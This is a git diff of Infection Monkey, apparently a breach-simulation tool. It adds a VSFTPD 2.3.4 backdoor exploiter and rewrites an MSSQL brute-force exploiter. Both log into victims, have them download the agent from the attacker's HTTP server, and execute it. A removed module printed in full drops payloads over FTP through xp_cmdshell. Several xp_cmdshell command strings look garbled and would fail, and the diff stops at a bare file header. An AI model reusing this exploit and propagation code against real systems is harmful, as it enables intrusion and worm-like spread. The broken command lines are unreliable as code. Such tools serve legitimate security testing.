diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 176c2e4fc..5ce29ac59 100644 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -81,33 +81,15 @@ wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL} # Allow them to be executed chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" -chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME" -chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME" + # Get machine type/kernel version kernel=`uname -m` linux_dist=`lsb_release -a 2> /dev/null` # If a user haven't installed mongo manually check if we can install it with our script -if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \ - { [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then - echo "Script does not support your operating system for mongodb installation. - Reference monkey island readme and install it manually" - exit 1 -fi - -# Download mongo -if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then - log_message "Downloading mongodb" - if [[ ${linux_dist} == *"Debian"* ]]; then - wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL} - elif [[ ${linux_dist} == *"Ubuntu"* ]]; then - wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL} - fi - tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error -else - log_message "Mongo db already installed" -fi +log_message "Installing MongoDB" +${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_BIN_PATH} || handle_error log_message "Installing openssl" sudo apt-get install openssl diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py index 748bd8d04..ea6a10df7 100644 --- a/monkey/common/cloud/aws_instance.py +++ b/monkey/common/cloud/aws_instance.py @@ -30,14 +30,14 @@ class AwsInstance(object): self.region = self._parse_region( urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read()) except urllib2.URLError as e: - logger.error("Failed init of AwsInstance while getting metadata: {}".format(e.message)) + logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message)) try: self.account_id = self._extract_account_id( urllib2.urlopen( AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read()) except urllib2.URLError as e: - logger.error("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message)) + logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message)) @staticmethod def _parse_region(region_url_response): diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 0d44cb973..b9a1728f3 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -104,8 +104,8 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' - dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" - dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" + dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe" + dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' ########################### @@ -157,7 +157,7 @@ class Configuration(object): retry_failed_explotation = True # addresses of internet servers to ping and check if the monkey has internet acccess. - internet_services = ["monkey.guardicore.com", "www.google.com"] + internet_services = ["updates.infectionmonkey.com", "www.google.com"] keep_tunnel_open_time = 60 diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index d66ab9d69..df6b21228 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel from infection_monkey.config import WormConfiguration, GUID -from infection_monkey.network.info import local_ips, check_internet_access +from infection_monkey.network.info import local_ips, check_internet_access, TIMEOUT from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.tcp import TcpProxy @@ -19,6 +19,7 @@ requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 + # random number greater than 5, # to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. TIMEOUT_IN_SECONDS = 15 diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 7ad23fa7b..efd9efcdc 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -24,8 +24,8 @@ "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", monkey_dir_linux = '/tmp/monkey_dir', @@ -44,7 +44,8 @@ "SambaCryExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 0d4300b5f..ce42d6bcc 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -50,3 +50,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter +from infection_monkey.exploit.vsftpd import VSFTPDExploiter diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 2e8bf6c90..5286252ed 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,12 +1,15 @@ import os import logging - +from time import sleep import pymssql +import textwrap -from infection_monkey.exploit import HostExploiter, mssqlexec_utils +from infection_monkey.exploit import HostExploiter, tools from common.utils.exploit_enum import ExploitType - -__author__ = 'Maor Rayzin' +from infection_monkey.exploit.tools import HTTPTools +from infection_monkey.config import WormConfiguration +from infection_monkey.model import DROPPER_ARG +from infection_monkey.exploit.tools import get_monkey_dest_path LOG = logging.getLogger(__name__) @@ -16,78 +19,89 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 + # Time in seconds to wait between MSSQL queries. + QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat') - DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat' + # Temporary file that saves commands for monkey's download and execution. + TMP_FILE_NAME = 'tmp_monkey.bat' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) - self.attacks_list = [mssqlexec_utils.CmdShellAttack] - - def create_payload_file(self, payload_path): - """ - This function creates dynamically the payload file to be transported and ran on the exploited machine. - :param payload_path: A path to the create the payload file in - :return: True if the payload file was created and false otherwise. - """ - try: - with open(payload_path, 'w+') as payload_file: - payload_file.write('dir C:\\') - return True - except Exception as e: - LOG.error("Payload file couldn't be created", exc_info=True) - return False def exploit_host(self): - """ - Main function of the mssql brute force - Return: - True or False depends on process success - """ + # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \ - else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN - - if not self.create_payload_file(payload_path): - return False - if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, - payload_path): - LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) - return True - else: + if not cursor: LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) return False - def handle_payload(self, cursor, payload): + # Get monkey exe for host and it's path + src_path = tools.get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + dst_path = get_monkey_dest_path(http_path) + tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME) + + # Create monkey dir. + commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows] + MSSQLExploiter.execute_command(cursor, commands) + + # Form download command in a file + commands = [ + "xp_cmdshell \"%s\"" % tmp_file_path, + "xp_cmdshell \">%s\"" % (http_path, tmp_file_path), + "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] + MSSQLExploiter.execute_command(cursor, commands) + MSSQLExploiter.run_file(cursor, tmp_file_path) + + # Form monkey's command in a file + monkey_args = tools.build_monkey_commandline(self.host, + tools.get_monkey_depth() - 1, + dst_path) + monkey_args = ["xp_cmdshell \">%s\"" % (part, tmp_file_path) + for part in textwrap.wrap(monkey_args, 40)] + commands = ["xp_cmdshell \"%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)] + commands.extend(monkey_args) + MSSQLExploiter.execute_command(cursor, commands) + MSSQLExploiter.run_file(cursor, tmp_file_path) + + return True + + @staticmethod + def run_file(cursor, file_path): + command = ["exec xp_cmdshell \"%s\"" % file_path] + return MSSQLExploiter.execute_command(cursor, command) + + @staticmethod + def execute_command(cursor, cmds): """ - Handles the process of payload sending and execution, prepares the attack and details. - - Args: - cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. - payload (string): Payload path - - Return: - True or False depends on process success + Executes commands on MSSQL server + :param cursor: MSSQL connection + :param cmds: list of commands in MSSQL syntax. + :return: True if successfully executed, false otherwise. """ + try: + # Running the cmd on remote host + for cmd in cmds: + cursor.execute(cmd) + sleep(MSSQLExploiter.QUERY_BUFFER) + except Exception as e: + LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e) + return False + return True - chosen_attack = self.attacks_list[0](payload, cursor, self.host) - - if chosen_attack.send_payload(): - LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) - if chosen_attack.execute_payload(): - LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) - chosen_attack.cleanup_files() - return True - else: - LOG.error("Payload: {0} couldn't be executed".format(payload)) - else: - LOG.error("Payload: {0} couldn't be sent to host".format(payload)) - - chosen_attack.cleanup_files() - return False - - def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): + def brute_force(self, host, port, users_passwords_pairs_list): """ Starts the brute force connection attempts and if needed then init the payload process. Main loop starts here. @@ -95,7 +109,6 @@ class MSSQLExploiter(HostExploiter): Args: host (str): Host ip address port (str): Tcp port that the host listens to - payload (str): Local path to the payload users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with Return: @@ -112,19 +125,11 @@ class MSSQLExploiter(HostExploiter): 'using user: {1}, password: {2}'.format(host, user, password)) self.report_login_attempt(True, user, password) cursor = conn.cursor() - - # Handles the payload and return True or False - if self.handle_payload(cursor, payload): - LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host)) - return True - else: - LOG.warning("user: {0} and password: {1}, " - "was able to connect to host: {2} but couldn't handle payload: {3}" - .format(user, password, host, payload)) + return cursor except pymssql.OperationalError: # Combo didn't work, hopping to the next one pass LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - return False + return None diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py deleted file mode 100644 index 51293dfe3..000000000 --- a/monkey/infection_monkey/exploit/mssqlexec_utils.py +++ /dev/null @@ -1,208 +0,0 @@ -import os -import multiprocessing -import logging - -import pymssql - -from infection_monkey.exploit.tools import get_interface_to_target -from pyftpdlib.authorizers import DummyAuthorizer -from pyftpdlib.handlers import FTPHandler -from pyftpdlib.servers import FTPServer -from time import sleep - - -__author__ = 'Maor Rayzin' - - -FTP_SERVER_PORT = 1026 -FTP_SERVER_ADDRESS = '' -FTP_SERVER_USER = 'brute' -FTP_SERVER_PASSWORD = 'force' -FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/') -FTP_WORK_DIR_LINUX = '/tmp/' - -LOG = logging.getLogger(__name__) - - -class FTP(object): - - """Configures and establish an FTP server with default details. - - Args: - user (str): User for FTP server auth - password (str): Password for FTP server auth - working_dir (str): The local working dir to init the ftp server on. - """ - - def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD): - """Look at class level docstring.""" - self.dst_ip = host.ip_addr - self.user = user - self.password = password - self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS - - def run_server(self): - - """ Configures and runs the ftp server to listen forever until stopped. - """ - - # Defining an authorizer and configuring the ftp user - authorizer = DummyAuthorizer() - authorizer.add_user(self.user, self.password, self.working_dir, perm='elr') - - # Normal ftp handler - handler = FTPHandler - handler.authorizer = authorizer - - address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT) - - # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword - self.server = FTPServer(address, handler) - - # Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I - # multiproccess is being used here. - self.server.serve_forever() - - def stop_server(self): - # Stops the FTP server and closing all connections. - self.server.close_all() - - -class AttackHost(object): - """ - This class acts as an interface for the attacking methods class - - Args: - payload_path (str): The local path of the payload file - """ - - def __init__(self, payload_path): - self.payload_path = payload_path - - def send_payload(self): - raise NotImplementedError("Send function not implemented") - - def execute_payload(self): - raise NotImplementedError("execute function not implemented") - - -class CmdShellAttack(AttackHost): - - """ - This class uses the xp_cmdshell command execution and will work only if its available on the remote host. - - Args: - payload_path (str): The local path of the payload file - cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. - host (model.host.VictimHost): Host this attack is going to target - - """ - - def __init__(self, payload_path, cursor, host): - super(CmdShellAttack, self).__init__(payload_path) - self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host) - self.cursor = cursor - self.attacker_ip = get_interface_to_target(host.ip_addr) - - def send_payload(self): - """ - Sets up an FTP server and using it to download the payload to the remote host - - Return: - True if payload sent False if not. - """ - - # Sets up the cmds to run - shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ - echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) - shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) - shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ - .format(self.payload_path) - shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ - shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4] - - # Checking to see if ftp server is up - if self.ftp_server_p and self.ftp_server: - try: - # Running the cmd on remote host - for cmd in shellcmds: - self.cursor.execute(cmd) - sleep(0.5) - except Exception as e: - LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) - self.ftp_server_p.terminate() - return False - return True - else: - LOG.error("Couldn't establish an FTP server for the dropout") - return False - - def execute_payload(self): - - """ - Executes the payload after ftp drop - - Return: - True if payload was executed successfully, False if not. - """ - - # Getting the payload's file name - payload_file_name = os.path.split(self.payload_path)[1] - - # Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error. - shellcmd = """DECLARE @i INT \ - EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ - SELECT @i """.format(payload_file_name) - - try: - # Executing payload on remote host - LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) - self.cursor.execute(shellcmd) - if self.cursor.fetchall()[0][0] == 0: - # Success - self.ftp_server_p.terminate() - LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) - return True - else: - LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) - self.ftp_server_p.terminate() - return False - - except pymssql.OperationalError as e: - LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) - self.ftp_server_p.terminate() - return False - - def cleanup_files(self): - """ - Cleans up the folder with the attack related files (C:\\tmp by default) - :return: True or False if command executed or not. - """ - cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """ - try: - self.cursor.execute(cleanup_command) - LOG.info('Attack files cleanup command has been sent.') - return True - except Exception as e: - LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) - return False - - def __init_ftp_server(self, host): - """ - Init an FTP server using FTP class on a different process - - Return: - ftp_s: FTP server object - p: the process obj of the FTP object - """ - - try: - ftp_s = FTP(host) - multiprocessing.log_to_stderr(logging.DEBUG) - p = multiprocessing.Process(target=ftp_s.run_server) - p.start() - LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) - return ftp_s, p - except Exception as e: - LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) - return None, None diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 18f3d3a7e..b32ab1e6f 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -7,6 +7,7 @@ import urllib2 import httplib import unicodedata import re +import ssl import logging from infection_monkey.exploit.web_rce import WebRCE @@ -47,7 +48,7 @@ class Struts2Exploiter(WebRCE): headers = {'User-Agent': 'Mozilla/5.0'} request = urllib2.Request(url, headers=headers) try: - return urllib2.urlopen(request).geturl() + return urllib2.urlopen(request, context=ssl._create_unverified_context()).geturl() except urllib2.URLError: LOG.error("Can't reach struts2 server") return False diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py new file mode 100644 index 000000000..1d99f130e --- /dev/null +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -0,0 +1,149 @@ +""" + Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb + only vulnerable version is "2.3.4" +""" + + +import StringIO +import logging +import paramiko +import socket +import time +from common.utils.exploit_enum import ExploitType +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import build_monkey_commandline +from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.web_rce import WebRCE +from logging import getLogger + +LOG = getLogger(__name__) + +__author__ = 'D3fa1t' + +FTP_PORT = 21 # port at which vsftpd runs +BACKDOOR_PORT = 6200 # backdoor port +RECV_128 = 128 # In Bytes +UNAME_M = "uname -m" +ULIMIT_V = "ulimit -v " # To increase the memory limit +UNLIMITED = "unlimited;" +USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor +PASSWORD = b'PASS please' # Ftp Password +FTP_TIME_BUFFER = 1 # In seconds + +class VSFTPDExploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux'] + + def __init__ (self, host): + self._update_timestamp = 0 + super(VSFTPDExploiter, self).__init__(host) + self.skip_exist = self._config.skip_exploit_if_file_exist + + def socket_connect(self, s, ip_addr, port): + try: + s.connect((ip_addr, port)) + return True + except socket.error as e: + LOG.error('Failed to connect to %s', self.host.ip_addr) + return False + + def socket_send_recv(self, s, message): + try: + s.send(message) + return s.recv(RECV_128).decode('utf-8') + except socket.error as e: + LOG.error('Failed to send payload to %s', self.host.ip_addr) + return False + + def socket_send(self, s, message): + try: + s.send(message) + return True + except socket.error as e: + LOG.error('Failed to send payload to %s', self.host.ip_addr) + return False + + def exploit_host(self): + LOG.info("Attempting to trigger the Backdoor..") + ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): + ftp_socket.recv(RECV_128).decode('utf-8') + + if self.socket_send_recv(ftp_socket, USERNAME + '\n'): + time.sleep(FTP_TIME_BUFFER) + self.socket_send(ftp_socket, PASSWORD + '\n') + ftp_socket.close() + LOG.info('Backdoor Enabled, Now we can run commands') + else: + LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) + return False + + LOG.info('Attempting to connect to backdoor...') + backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): + LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) + + uname_m = str.encode(UNAME_M + '\n') + response = self.socket_send_recv(backdoor_socket, uname_m) + + if response: + LOG.info('Response for uname -m: %s', response) + if '' != response.lower().strip(): + # command execution is successful + self.host.os['machine'] = response.lower().strip() + self.host.os['type'] = 'linux' + else : + LOG.info("Failed to execute command uname -m on victim %r ", self.host) + + src_path = get_target_monkey(self.host) + LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + + # Create a http server to host the monkey + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + dropper_target_path_linux = self._config.dropper_target_path_linux + LOG.info("Download link for monkey is %s", http_path) + + # Upload the monkey to the machine + monkey_path = dropper_target_path_linux + download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path} + download_command = str.encode(str(download_command) + '\n') + LOG.info("Download command is %s", download_command) + if self.socket_send(backdoor_socket, download_command): + LOG.info('Monkey is now Downloaded ') + else: + LOG.error('Failed to download monkey at %s', self.host.ip_addr) + return False + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + + # Change permissions + change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path} + change_permission = str.encode(str(change_permission) + '\n') + LOG.info("change_permission command is %s", change_permission) + backdoor_socket.send(change_permission) + + # Run monkey on the machine + parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) + run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} + + # Set unlimited to memory + run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit + run_monkey = str.encode(str(run_monkey) + '\n') + time.sleep(FTP_TIME_BUFFER) + if backdoor_socket.send(run_monkey): + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) + return True + else: + return False + + + diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index d797f3a95..945e45f5d 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -13,7 +13,7 @@ __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) # Command used to check if monkeys already exists LOOK_FOR_FILE = "ls %s" -POWERSHELL_NOT_FOUND = "owershell is not recognized" +POWERSHELL_NOT_FOUND = "powershell is not recognized" # Constants used to refer to windows architectures( used in host.os['machine']) WIN_ARCH_32 = "32" WIN_ARCH_64 = "64" @@ -253,7 +253,7 @@ class WebRCE(HostExploiter): if 'No such file' in resp: return False else: - LOG.info("Host %s was already infected under the current configuration, done" % host) + LOG.info("Host %s was already infected under the current configuration, done" % str(host)) return True def check_remote_files(self, url): @@ -281,7 +281,7 @@ class WebRCE(HostExploiter): """ ports = self.get_open_service_ports(ports, names) if not ports: - LOG.info("All default web ports are closed on %r, skipping", host) + LOG.info("All default web ports are closed on %r, skipping", str(host)) return False else: return ports diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 6d0748426..dca15935a 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -5,7 +5,7 @@ # Luffin from Github # https://github.com/Luffin/CVE-2017-10271 # CVE: CVE-2017-10271 - +from __future__ import print_function from requests import post, exceptions from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index df7bcf820..d741727ce 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from infection_monkey.exploit.tools import get_interface_to_target __author__ = 'itamar' @@ -39,6 +40,7 @@ class InfectionMonkey(object): self._exploiters = None self._fingerprint = None self._default_server = None + self._default_server_port = None self._depth = 0 self._opts = None self._upgrading_to_64 = False @@ -59,6 +61,10 @@ class InfectionMonkey(object): self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server + try: + self._default_server_port = self._default_server.split(':')[1] + except KeyError: + self._default_server_port = '' if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True @@ -172,8 +178,9 @@ class InfectionMonkey(object): if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: + machine.set_default_server(get_interface_to_target(machine.ip_addr) + + (':'+self._default_server_port if self._default_server_port else '')) LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) - machine.set_default_server(self._default_server) # Order exploits according to their type self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index a55dbcdc5..952a9282e 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -8,6 +8,10 @@ import itertools import netifaces from subprocess import check_output from random import randint + +import requests +from requests import ConnectionError + from common.network.network_range import CidrRange try: @@ -16,6 +20,10 @@ except NameError: long = int # Python 3 +# Timeout for monkey connections +TIMEOUT = 15 + + def get_host_subnets(): """ Returns a list of subnets visible to host (omitting loopback and auto conf networks) @@ -124,14 +132,18 @@ def get_free_tcp_port(min_range=1000, max_range=65535): def check_internet_access(services): """ - Checks if any of the services are accessible, over ICMP + Checks if any of the services are accessible, over HTTPS :param services: List of IPs/hostnames :return: boolean depending on internet access """ - ping_str = "-n 1" if sys.platform.startswith("win") else "-c 1" for host in services: - if os.system("ping " + ping_str + " " + host) == 0: + try: + requests.get("https://%s" % (host,), timeout=TIMEOUT, verify=False) return True + except ConnectionError: + # Failed connecting + pass + return False diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 00ced7198..e54445d52 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -170,6 +170,8 @@ class HTTPServer(threading.Thread): def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) self.downloads += 1 + if not self.downloads < self.max_downloads: + self.close_connection = 1 httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) httpd.timeout = 0.5 # this is irrelevant? @@ -214,6 +216,8 @@ class LockedHTTPServer(threading.Thread): def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) self.downloads += 1 + if not self.downloads < self.max_downloads: + self.close_connection = 1 httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) self.lock.release() diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index d589ac98b..999f4d7fc 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -2,7 +2,6 @@ import logging import socket import struct import time -from difflib import get_close_matches from threading import Thread from infection_monkey.model import VictimHost @@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import local_ips, get_free_tcp_port from infection_monkey.network.tools import check_tcp_port from infection_monkey.transport.base import get_last_serve_time +from infection_monkey.exploit.tools import get_interface_to_target __author__ = 'hoffer' @@ -148,9 +148,9 @@ class MonkeyTunnel(Thread): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) if '?' == search: - ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips + ip_match = get_interface_to_target(address[0]) if ip_match: - answer = '%s:%d' % (ip_match[0], self.local_port) + answer = '%s:%d' % (ip_match, self.local_port) LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) self._broad_sock.sendto(answer, (address[0], MCAST_PORT)) elif '+' == search: @@ -187,8 +187,8 @@ class MonkeyTunnel(Thread): if not self.local_port: return - ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips - host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port) + ip_match = get_interface_to_target(host.ip_addr) + host.default_tunnel = '%s:%d' % (ip_match, self.local_port) def stop(self): self._stopped = True diff --git a/monkey/infection_monkey/windows_upgrader.py 